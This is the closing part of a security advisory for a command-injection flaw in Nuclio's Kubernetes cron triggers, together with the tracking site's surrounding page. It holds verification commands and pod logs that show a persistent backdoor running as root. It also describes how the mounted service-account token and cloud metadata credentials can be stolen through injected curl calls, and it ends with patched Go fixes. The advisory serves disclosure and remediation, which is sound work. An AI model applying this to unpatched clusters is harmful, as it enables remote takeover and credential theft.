--from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \\\n    vul010-persist-backdoor -n nuclio --context kind-vul-010\n\nkubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\n/bin/sh: curl: not found\nPERSISTENT_BACKDOOR_ACTIVE\n: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...\n```\n\nThe injected command executes after the source function has been deleted.\n\n---\n\n### Cleanup\n\n```bash\nkubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2\u003e/dev/null\nkubectl delete cronjob --all -n nuclio --context kind-vul-010 2\u003e/dev/null\nkind delete cluster --name vul-010\n```\n\n---\n\n## Impact\n\n**Remote Code Execution**: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.\n\n**Runs as root**: Every CronJob pod confirmed running as `uid=0(root)` during verification.\n\n**ServiceAccount token exfiltration**: The pod\u0027s mounted SA token (`/var/run/secrets/ kubernetes.io/serviceaccount/token`) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected `curl` call. This token enables:\n- Enumeration of Kubernetes API resources in the `nuclio` namespace\n- In misconfigured clusters, cluster-wide API access\n\n**Persistent backdoor**: The CronJob resource has no `ownerReferences` and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker\u0027s commands on the configured schedule (minimum every 1 minute) \u2014 persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.\n\n**Cloud environment lateral movement**: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.\n\n---\n\n## Severity\n\n**Critical \u2014 CVSS 3.1 Score: 9.9**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n```\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector | Network | Dashboard is network-accessible |\n| Attack Complexity | Low | No preconditions; straightforward payload |\n| Privileges Required | None | NOP auth is the default configuration |\n| User Interaction | None | Fully automated via API |\n| Scope | Changed | Impact crosses pod boundary into cluster |\n| Confidentiality | High | SA token, secrets readable |\n| Integrity | High | Arbitrary command execution as root |\n| Availability | High | Persistent CronJob can exhaust cluster resources |\n\n---\n\n## Affected Versions\n\nAll Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.\n\n- **Confirmed affected**: 1.15.27 (latest as of 2026-05-17, dynamically verified)\n- **Earliest affected**: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)\n\n---\n\n## Patched Versions\n\nhttps://github.com/nuclio/nuclio/releases/tag/1.16.4\n\n---\n\n## Workarounds\n\n1. **Network-level restriction**: Place the Nuclio Dashboard behind an authenticated\n   reverse proxy or restrict port 8070 to trusted networks only. This limits who can\n   submit function specifications.\n\n2. **Disable cron triggers**: If cron trigger functionality is not required, avoid creating\n   functions with `kind: cron` triggers.\n\n3. **RBAC restriction**: Remove the `batch` API group permission from the Nuclio controller\n   ServiceAccount to prevent CronJob creation. Note: this disables cron trigger\n   functionality entirely.\n\nNone of the above eliminate the root cause; they only reduce exposure.\n\n---\n\n## Resources\n\n- Vulnerable file: `pkg/platform/kube/functionres/lazy.go`\n  - Path-A: line 2150 \u2014 header key interpolation\n  - Path-B: lines 2188-2189 \u2014 body interpolation with `strconv.Quote`\n  - Execution sink: line 2212 \u2014 `Args: []string{\"/bin/sh\", \"-c\", curlCommand}`\n- Go `strconv.Quote` documentation: does not escape `$`, `(`, `)`, or backticks\n- CWE-78: Improper Neutralization of Special Elements used in an OS Command\n- CVSS 3.1 Calculator: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n\n---\n\n## Remediation\n\n**P0 \u2014 Eliminate the shell layer (preferred fix)**\n\nReplace the `/bin/sh -c \u003cstring\u003e` invocation with an exec-format argument list. This\nremoves shell interpretation entirely:\n\n```go\n// Current (vulnerable): lazy.go:2212\nArgs: []string{\"/bin/sh\", \"-c\", curlCommand}\n\n// Fixed: build curl args as a []string slice\nfunc buildCurlArgs(headers map[string]string, body, address string) []string {\n    args := []string{\"curl\", \"--silent\"}\n    for k, v := range headers {\n        args = append(args, \"--header\", k+\": \"+v)\n    }\n    if body != \"\" {\n        args = append(args, \"--data\", body)\n    }\n    args = append(args, \"--retry\", \"10\", \"--retry-delay\", \"1\",\n        \"--retry-max-time\", \"10\", \"--retry-connrefused\", address)\n    return args\n}\n\n// Container spec:\nContainer{\n    Command: nil,\n    Args:    buildCurlArgs(headersMap, eventBody, functionAddress),\n}\n```\n\nWith exec format, each argument is passed directly to the process without shell\ninterpretation. No quoting or escaping is needed.\n\n**P1 \u2014 Shell-safe quoting (fallback if shell is required)**\n\nIf the shell invocation must be retained, apply proper POSIX shell quoting to all\nuser-supplied values before interpolation. The equivalent of Python\u0027s `shlex.quote`\nmust be implemented in Go:\n\n```go\nfunc shellQuote(s string) string {\n    return \"\u0027\" + strings.ReplaceAll(s, \"\u0027\", \"\u0027\\\\\u0027\u0027\") + \"\u0027\"\n}\n```\n\nApply to both `headerKey`, `headerValue`, and `eventBody` before inserting into the\ncommand string.",
  "id": "GHSA-v5px-423j-pf7p",
  "modified": "2026-07-08T20:24:20Z",
  "published": "2026-07-08T20:24:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-v5px-423j-pf7p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/commit/3356b86a8bfab3f960aa420310ebff765df9dede"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuclio/nuclio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/releases/tag/1.16.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…